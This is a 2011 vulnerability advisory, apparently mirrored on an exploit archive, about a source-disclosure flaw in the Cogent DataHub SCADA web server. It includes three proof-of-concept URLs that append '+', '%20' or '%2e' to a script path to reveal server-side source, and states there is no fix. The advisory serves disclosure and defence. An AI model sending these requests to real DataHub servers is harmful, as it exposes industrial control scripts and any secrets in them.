Cogent DataHub <= 7.1.1.63 Source Disclosure

[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]

# Title : Cogent DataHub <= 7.1.1.63 Source Disclosure
# Published : 2011-09-14
# Author :
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                             Luigi Auriemma

Application:  Cogent DataHub
              http://www.cogentdatahub.com/Products/Cogent_DataHub.html
Versions:     <= 7.1.1.63
Platforms:    Windows
Bug:          source disclosure
Exploitation: remote
Date:         13 Sep 2011
Author:       Luigi Auriemma
              e-mail: aluigi@autistici.org
              web:    aluigi.org


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1) Introduction
2) Bug
3) The Code
4) Fix


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===============
1) Introduction
===============


DataHub is a software for the SCADA and automation sector.


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2) Bug
======


The server/service listens on port 80 using a custom web server.

Through the appending of the following chars it's possible to view the
content of the server-side scripts on the server:

  +
  %20
  %2e

This vulnerability is useful when the server hosts customized scripts
which seems a feature of the software:
http://www.cogentdatahub.com/Features/DataHub_Web_ASP.html


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===========
3) The Code
===========


http://SERVER/index.asp+
http://SERVER/index.asp%20
http://SERVER/index.asp%2e


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4) Fix
======


No fix.


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